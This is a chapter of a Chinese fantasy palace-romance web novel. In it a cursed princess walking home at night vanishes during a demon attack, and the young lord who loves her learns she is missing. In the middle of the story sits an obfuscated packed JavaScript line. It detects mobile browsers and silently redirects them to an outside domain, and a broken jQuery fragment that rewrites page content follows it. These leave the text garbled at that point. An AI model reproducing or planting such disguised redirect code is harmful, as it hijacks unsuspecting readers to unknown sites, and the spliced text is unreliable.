身体僵硬,昏黑视线里的陆戚南的唇角渗一口血,随而自己不受控制地转身。
“你…!”泠玉瞳孔骤缩,违抗指令后心脏传来一阵钝痛。她完全没有料到这个人又对自己下蛊。
“公主,公主,世子他们来了!”
焕青一抬头,差点吓得丢掉了手上的灯盏,“公主……公主,您怎么…?”
怎么哭得这样厉害……
她方才颓然被一阵寒风眯了眼,这回儿才赶过来,可是怎么。。。
“公主……?”
她又颤颤唤了一声,身后早就黑的见不到一点儿光,公主就这样一个人走过来,虽说没有离得多远,可是那陆公子竟然不见了。
泠玉来到焕青身边,这一次四肢毫无阻碍了,完全能够自己动弹。
“我、我没事。”她眨了下眼,努力保持镇定,“只是沙子吹进眼睛了。”
只是沙子吹进眼睛了,才不是因为下蛊觉得很痛。
只是方才一路过来的路太黑,才不是因为下蛊觉得很害怕。
泠玉做了几个深呼吸。
焕青闻言,亦知晓不能再多问,两人很快来到明处,见到了被侍卫围着的……
林濁。
萧潋的师弟。
“哎,怎是…奴明明记得是世子来的。”焕青一下傻了眼,握着灯柄的动作一顿。
泠玉倒没多惊奇,道:“快传他过来吧,夜太黑,看错人也很正常。”
而且他们两个人穿的都是同样的衣服。
哎。
焕青诺了声,侍卫也很快放了行,林濁很快来到来到自己面前行礼:“恕林濁无意拦下公主,只是那玄邪猫身上还有许多污浊之气,吾师兄恐会给公主招来邪祟,遂派我追上来一同护送您回去。”
他说的规规矩矩,声音亦是压低的恭维,可是还是行事略微匆忙,覆手的动作错了。
“好呢,麻烦了,快起身。”泠玉抬手示意,宽袖刚好能遮住一些目光。
林濁抬起头,视线抹过手肘,这才发现了自己的略微疏忽,差点羞红了脸,下一瞬,却对上公主柔和的目光。
“世子可还好吗?”
是一双很好看的眼眸。
林濁愣神一瞬,差点忘了自己该干什么,“很、很好。”
他略微磕巴,“师兄有了公主送来的明熹玉,又有公主的暗卫相助,如今已将妖物擒住,多谢公主挂念。”
泠玉应了声,也不再听从侍卫们的建议坐轿子,而是徒步。
“公主,您确认吗?”焕青再次过来问。
泠玉点点头。
“没多远,我想走回去。”
那轿子也不知晓是谁弄来的,是否有暗器或是机关,万一她坐上去就被人暗算了……
求放过。
林濁就在两人一侧,闻言亦是有些惊讶。寻常他在上京遇见的女子一般都是娇贵的,更何况他们这一走也要走个五六里路,对他来说确实没什么,可是公主真的受得住吗?
焕青作为奴婢,见公主都这样说了,自然是无以为说,她很快退下去,可是又很快回来,“公主,奴婢陪着您,你要是累了一定要跟我说。”
泠玉眸光一闪,胸腔涌起一股暖流,她点头,“嗯嗯。”
“我会的。”她又加了一句,喉间涌起一阵酸涩,可是心底却很开心。
除容晴之外,自己的小世界里又多了一个可以依靠的人。
脑畔闪过这一念想,嘴角却不自觉耸下来。
可是容晴。
自己竟然为了不让陆戚南暴露而把她迷晕。
为了博取陆戚南的一丝丝信任而把她迷晕。
就因为陆戚南吗?
泠玉拧紧手,忽然觉得胸口好一阵疼。
她这样做和陆戚南有什么区别呢?
她又比陆戚南高尚到哪里去。
“公主,奴扶着您。”焕青凑了过来,朝她伸手。
泠玉眼睫一颤,从回忆中抽离出来,与之点了点头。
一大行人要进过一条小径,可是这一条小径一侧有水,另一侧是灌木丛生的树林。
这本是很大一条道路。
起码今日从南边过来时,辇车是完全能过的。
可是由于夜袭,溪水跟着涨了起来,将路淹没了不少。
一列人只能缓慢而行。
泠玉与焕青、林濁在队列的中间位置,左右护法的感觉确实安全感倍增,而且林濁一直手捧着一个会发着明黄色的法柱,约莫有三五厘米大小,上面的条纹图案复杂精细。
还缕缕发着令人心安的,这书上所说的道气。
“公主可是好奇这个?”
见泠玉一直盯着看,林濁主动问。
其实他属于话多的那种,走过两三里路的时候就有些闷不住了。而且,师兄跟他提过,常人见了邪浊之物会心神不宁,要他多加注意公主的神色变化。
泠玉抬眸,对上他的目光,才发觉自己一直在出神想别的事。
方才林濁问了什么来着……
算了,点个头看看。
应该不是什么…大事。
“这是启明法柱,在我们真安观属于二级法器,可以祛邪魔。”林濁见泠玉对自己并不排斥,说得愈发喜上眉梢。
“虽然没我师兄那明熹玉那样厉害,可是还是挺厉害的,上回我与我师兄就用这个收了条短尾妖,直接把它整冒烟死了哈哈哈哈。”
说到这他才发觉自己笑得有点大声,连忙捂住嘴,正欲道歉。
“灰飞烟灭?好厉害。”泠玉眼瞳映出一抹星光,唇角微微往上翘,笑意很淡但是看着令人十分我舒心。
“阿…对对。”林濁不自觉用另一只手摸了摸后脑勺。
灰飞烟灭,他该说这个词才对……自己这个文盲。
焕青的眼睛亮亮的,似想说话的样子,一身青碧色的模样在公主身旁不显眼但也不黯淡。
泠玉注意到,将身子往后斜了些,让焕青看个清楚。
“哇,感觉好神奇。”焕青不小心说漏了嘴,连忙捂住。
泠玉笑笑,三人目光对上。
林濁:…!
可是这句话不说还好,一说出来又让他羞耻心上涌,差点在她们面前羞红了脸,连忙摇了摇自己手上的东西,“其实这法柱还可以驱逐人心里的厄念、邪念,在我们观山最高就有一柱上京最大的启明法柱,是昭元七年帝上特下令建的,天上地下唯此这一巨大柱。”
焕青这时跟着附和:“对呢对呢,那柱子真的老大了,我在宫中偶有几次都远远瞧到。”
泠玉嗯了声。
“那自然啦,若是亲自爬上去看,那才叫一个叹为观止。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091792|173761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林濁搓了搓自己手上的法柱,自豪道。
泠玉认真听着,目光停留在那法柱的条纹上。
厄念吗?
昭元第七年。
也就是她出生后的第一年。
她,昭宁公主,生来带厄运,恐不能留命,最后真安观的林天师为其渡化,她的父皇捐了好几千两,还在真安观上建了个法柱。
突然有些想不起来,她的父皇长什么样子了,还有母妃…
泠玉的思绪越飞越远,想要回到最原始的时候。
猛地。
“砰咚!”身体忽然被人一抱。
“哗啦啦。”
强烈的冲击力袭来,队列最后端的,那四四方方的轿子四分五裂。
启明法柱灯光忽灭,视线浑然昏黑,抬手不见五指,一列人阵脚打乱,所有人的灯都灭了,呼喊、尖叫、刀戈声。
“不好!有妖!大家…!”林濁大惊失色,完全没想过自己手里的启明法柱,这个二级法器会失效。
“公主!公主!”有人尖叫。
滋啦一声,启明法柱的灯源复原,好多灯盏都重新发亮。
?这是。
林濁抽符握剑,脑子飞速运转,忽然听到焕青失声大哭:“公主不见了!”
*
“世子您慢点儿!”崔浊缓缓呼出一口气,终于追上自家主子,不过手臂甩的太大,大半个身子差飞出去。
“哎!”崔浊不由得大喊了声,头顶差点跟地面扑在一起,好在及时被自家主子拉了回来。
“阿浊。”萧潋叹了一口气,“到底是你急还是我。”
“当然是……咳咳。”崔浊脸皮皱巴巴的。
不得不说,这是他见过世子最着急的一次。
“阿浊…跑的太慢了嘛。”他干干巴巴的说,笑容没那么苦涩,难得傻气,也是难得见自家主子除了捉妖以外的事情如此上心。
“而且地上坑洼有点多!”
萧潋回眸,这才注意到自己脚下有个不大不小的坑洼,虽说应该绊不脚,可是如今天黑夜暗,若是不慎栽个跟头也有可能。
他低嗯了声,目光往上一瞥,远远的烛灯已经近在眼前了。
身后已经跟上了萧家府上的不少暗卫,都是方才大动静匆忙赶来的,今夜虽说是遇难得一见之邪祟,但好在有惊无险。
可是说来也奇怪,那邪玄猫见了明熹玉之后骤然现形,先前的磅礴浊气浑然消失。
他也借着这一势,猛追反攻,一剑刺穿了它的心脏。
也是多亏了这明熹玉。
多亏了公主……
“世子…”崔浊又下意识地看了眼,瞥见世子眼底的一缕光源。
渺茫璀璨,就好像今夜的星。
崔浊忽然感觉瑟瑟寒风都变得温柔了。
“阿浊,你说我一会儿该如何同公主道谢?”萧潋握着他掌心的玉,感觉心底热热的,湿湿的,头一回有这样奇异的感觉。
崔浊闻言,咧起嘴笑,“那世子只能以身相许了。”
有侍卫匆匆赶来迎,最为首的是一名女子,也就是之前公主身旁的容晴:“世子,公主是在后面吧?”
两人面色忽变,“公主还未回来的?”
萧潋急切问。
容晴目光惶恐,指尖颤抖:“并未!陆公子现下也消失了!”